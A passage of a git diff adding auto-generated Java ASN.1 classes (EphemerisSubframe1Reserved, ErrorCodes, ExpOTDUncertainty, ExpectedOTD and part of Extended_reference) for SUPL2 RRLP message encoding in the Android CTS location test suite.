+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class EphemerisSubframe1Reserved extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_EphemerisSubframe1Reserved
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public EphemerisSubframe1Reserved() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_EphemerisSubframe1Reserved;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_EphemerisSubframe1Reserved != null) {
+ return ImmutableList.of(TAG_EphemerisSubframe1Reserved);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new EphemerisSubframe1Reserved from encoded stream.
+ */
+ public static EphemerisSubframe1Reserved fromPerUnaligned(byte[] encodedBytes) {
+ EphemerisSubframe1Reserved result = new EphemerisSubframe1Reserved();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new EphemerisSubframe1Reserved from encoded stream.
+ */
+ public static EphemerisSubframe1Reserved fromPerAligned(byte[] encodedBytes) {
+ EphemerisSubframe1Reserved result = new EphemerisSubframe1Reserved();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private EphemerisSubframe1Reserved.reserved1Type reserved1_;
+ public EphemerisSubframe1Reserved.reserved1Type getReserved1() {
+ return reserved1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EphemerisSubframe1Reserved.reserved1Type
+ */
+ public void setReserved1(Asn1Object value) {
+ this.reserved1_ = (EphemerisSubframe1Reserved.reserved1Type) value;
+ }
+ public EphemerisSubframe1Reserved.reserved1Type setReserved1ToNewInstance() {
+ reserved1_ = new EphemerisSubframe1Reserved.reserved1Type();
+ return reserved1_;
+ }
+
+ private EphemerisSubframe1Reserved.reserved2Type reserved2_;
+ public EphemerisSubframe1Reserved.reserved2Type getReserved2() {
+ return reserved2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EphemerisSubframe1Reserved.reserved2Type
+ */
+ public void setReserved2(Asn1Object value) {
+ this.reserved2_ = (EphemerisSubframe1Reserved.reserved2Type) value;
+ }
+ public EphemerisSubframe1Reserved.reserved2Type setReserved2ToNewInstance() {
+ reserved2_ = new EphemerisSubframe1Reserved.reserved2Type();
+ return reserved2_;
+ }
+
+ private EphemerisSubframe1Reserved.reserved3Type reserved3_;
+ public EphemerisSubframe1Reserved.reserved3Type getReserved3() {
+ return reserved3_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EphemerisSubframe1Reserved.reserved3Type
+ */
+ public void setReserved3(Asn1Object value) {
+ this.reserved3_ = (EphemerisSubframe1Reserved.reserved3Type) value;
+ }
+ public EphemerisSubframe1Reserved.reserved3Type setReserved3ToNewInstance() {
+ reserved3_ = new EphemerisSubframe1Reserved.reserved3Type();
+ return reserved3_;
+ }
+
+ private EphemerisSubframe1Reserved.reserved4Type reserved4_;
+ public EphemerisSubframe1Reserved.reserved4Type getReserved4() {
+ return reserved4_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EphemerisSubframe1Reserved.reserved4Type
+ */
+ public void setReserved4(Asn1Object value) {
+ this.reserved4_ = (EphemerisSubframe1Reserved.reserved4Type) value;
+ }
+ public EphemerisSubframe1Reserved.reserved4Type setReserved4ToNewInstance() {
+ reserved4_ = new EphemerisSubframe1Reserved.reserved4Type();
+ return reserved4_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReserved1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReserved1();
+ }
+
+ @Override public void setToNewInstance() {
+ setReserved1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EphemerisSubframe1Reserved.reserved1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reserved1 : "
+ + getReserved1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReserved2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReserved2();
+ }
+
+ @Override public void setToNewInstance() {
+ setReserved2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EphemerisSubframe1Reserved.reserved2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reserved2 : "
+ + getReserved2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getReserved3() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReserved3();
+ }
+
+ @Override public void setToNewInstance() {
+ setReserved3ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EphemerisSubframe1Reserved.reserved3Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reserved3 : "
+ + getReserved3().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getReserved4() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReserved4();
+ }
+
+ @Override public void setToNewInstance() {
+ setReserved4ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EphemerisSubframe1Reserved.reserved4Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reserved4 : "
+ + getReserved4().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class reserved1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_reserved1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public reserved1Type() {
+ super();
+ setValueRange("0", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_reserved1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_reserved1Type != null) {
+ return ImmutableList.of(TAG_reserved1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new reserved1Type from encoded stream.
+ */
+ public static reserved1Type fromPerUnaligned(byte[] encodedBytes) {
+ reserved1Type result = new reserved1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new reserved1Type from encoded stream.
+ */
+ public static reserved1Type fromPerAligned(byte[] encodedBytes) {
+ reserved1Type result = new reserved1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "reserved1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class reserved2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_reserved2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public reserved2Type() {
+ super();
+ setValueRange("0", "16777215");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_reserved2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_reserved2Type != null) {
+ return ImmutableList.of(TAG_reserved2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new reserved2Type from encoded stream.
+ */
+ public static reserved2Type fromPerUnaligned(byte[] encodedBytes) {
+ reserved2Type result = new reserved2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new reserved2Type from encoded stream.
+ */
+ public static reserved2Type fromPerAligned(byte[] encodedBytes) {
+ reserved2Type result = new reserved2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "reserved2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class reserved3Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_reserved3Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public reserved3Type() {
+ super();
+ setValueRange("0", "16777215");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_reserved3Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_reserved3Type != null) {
+ return ImmutableList.of(TAG_reserved3Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new reserved3Type from encoded stream.
+ */
+ public static reserved3Type fromPerUnaligned(byte[] encodedBytes) {
+ reserved3Type result = new reserved3Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new reserved3Type from encoded stream.
+ */
+ public static reserved3Type fromPerAligned(byte[] encodedBytes) {
+ reserved3Type result = new reserved3Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "reserved3Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class reserved4Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_reserved4Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public reserved4Type() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_reserved4Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_reserved4Type != null) {
+ return ImmutableList.of(TAG_reserved4Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new reserved4Type from encoded stream.
+ */
+ public static reserved4Type fromPerUnaligned(byte[] encodedBytes) {
+ reserved4Type result = new reserved4Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new reserved4Type from encoded stream.
+ */
+ public static reserved4Type fromPerAligned(byte[] encodedBytes) {
+ reserved4Type result = new reserved4Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "reserved4Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("EphemerisSubframe1Reserved = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ErrorCodes.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ErrorCodes.java
new file mode 100755
index 0000000..3c42dd5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ErrorCodes.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class ErrorCodes extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ unDefined(0),
+ missingComponet(1),
+ incorrectData(2),
+ missingIEorComponentElement(3),
+ messageTooShort(4),
+ unknowReferenceNumber(5),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_ErrorCodes
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ErrorCodes() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ErrorCodes;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ErrorCodes != null) {
+ return ImmutableList.of(TAG_ErrorCodes);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new ErrorCodes from encoded stream.
+ */
+ public static ErrorCodes fromPerUnaligned(byte[] encodedBytes) {
+ ErrorCodes result = new ErrorCodes();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ErrorCodes from encoded stream.
+ */
+ public static ErrorCodes fromPerAligned(byte[] encodedBytes) {
+ ErrorCodes result = new ErrorCodes();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ErrorCodes = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpOTDUncertainty.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpOTDUncertainty.java
new file mode 100755
index 0000000..cab0cfd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpOTDUncertainty.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class ExpOTDUncertainty extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ExpOTDUncertainty
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ExpOTDUncertainty() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ExpOTDUncertainty;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ExpOTDUncertainty != null) {
+ return ImmutableList.of(TAG_ExpOTDUncertainty);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ExpOTDUncertainty from encoded stream.
+ */
+ public static ExpOTDUncertainty fromPerUnaligned(byte[] encodedBytes) {
+ ExpOTDUncertainty result = new ExpOTDUncertainty();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ExpOTDUncertainty from encoded stream.
+ */
+ public static ExpOTDUncertainty fromPerAligned(byte[] encodedBytes) {
+ ExpOTDUncertainty result = new ExpOTDUncertainty();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ExpOTDUncertainty = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpectedOTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpectedOTD.java
new file mode 100755
index 0000000..0738bd2
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpectedOTD.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class ExpectedOTD extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ExpectedOTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ExpectedOTD() {
+ super();
+ setValueRange("0", "1250");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ExpectedOTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ExpectedOTD != null) {
+ return ImmutableList.of(TAG_ExpectedOTD);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ExpectedOTD from encoded stream.
+ */
+ public static ExpectedOTD fromPerUnaligned(byte[] encodedBytes) {
+ ExpectedOTD result = new ExpectedOTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ExpectedOTD from encoded stream.
+ */
+ public static ExpectedOTD fromPerAligned(byte[] encodedBytes) {
+ ExpectedOTD result = new ExpectedOTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ExpectedOTD = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Extended_reference.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Extended_reference.java
new file mode 100755
index 0000000..b4463d7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Extended_reference.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Extended_reference extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Extended_reference
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Extended_reference() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Extended_reference;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Extended_reference != null) {
+ return ImmutableList.of(TAG_Extended_reference);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Extended_reference from encoded stream.
+ */
+ public static Extended_reference fromPerUnaligned(byte[] encodedBytes) {
+ Extended_reference result = new Extended_reference();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Extended_reference from encoded stream.
+ */
+ public static Extended_reference fromPerAligned(byte[] encodedBytes) {
+ Extended_reference result = new Extended_reference();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Extended_reference.smlc_codeType smlc_code_;
+ public Extended_reference.smlc_codeType getSmlc_code() {
+ return smlc_code_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Extended_reference.smlc_codeType
+ */
